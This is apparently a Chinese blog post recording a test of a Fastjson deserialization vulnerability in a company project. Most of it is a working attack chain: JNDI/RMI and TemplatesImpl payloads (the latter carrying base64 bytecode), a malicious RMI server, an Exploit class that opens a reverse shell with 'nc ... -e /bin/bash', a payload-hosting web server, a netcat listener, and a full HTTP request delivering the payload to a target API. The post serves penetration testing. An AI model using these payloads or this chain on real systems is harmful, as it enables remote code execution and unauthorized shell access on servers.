前言

最近在公司git翻代码时,在pom.xml看到一个项目fastjson版本比较低。于是测了一下反序列化漏洞,记录几个坑

漏洞测试

测试poc

1
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://172.16.32.34:1099/Exploit","autoCommit":true}

在对应的机器上监听一下端口,如果能收到数据则漏洞存在。

1
nc -vv -l -p 6666

利用过程

这个漏洞有很多的利用方式,可以把poc编译为class文件后使用base64加密,通过以下的方式HTTP发包即可。

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAfY3VybCBodHRwOi8vMTE4LjI0LjEwNS4yNTA6MTA5OQwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

我测试过程中使用的rmi和ldap的方式。

rmi的简单利用过程如下

启一个JNDI的服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  fastjson cat JNDIServer.java 
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference =
new Reference("Exploit", "Exploit","http://172.16.32.34:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}

}

编译完启动即可。

编译poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  fastjson cat Exploit.java 
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {

public Exploit() {
try{
String commands = "nc 172.16.32.34 6666 -e /bin/bash";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}

}

public static void main(String[] argv) {
Exploit e = new Exploit();
}

}

PS:我直接用的nc来反弹shell,在测试的过程中,公司服务在docker镜像中部署,镜像较精简,系统不包含curl,bash,wget等命令,测试的时候还以为是poc或者防火墙的问题。。最后使用ping和dnslog测试成功了。

dnslog

然后把poc放到一个web目录下供JNDIServer拿就可以了。直接用python启一下web服务

1
python -m SimpleHTTPServer 8888

然后监听一下nc反弹的端口

1
nc -vv -l -p 6666

发一下poc包就会收到反弹的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/supplychain/listData HTTP/1.1
Host: www.beysec.com
Content-Length: 111
traceID: b0923e77-96c1-4cb6-ab65-bed46da8334b
Accept: application/json, text/plain, */*
groupID: 953
Origin: http://www.beysec.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: http://www.beysec.com/meta/1/1?orgID=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: access_token=*;
Connection: close

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://172.16.32.34:1099/Exploit","autoCommit":true}

dnslog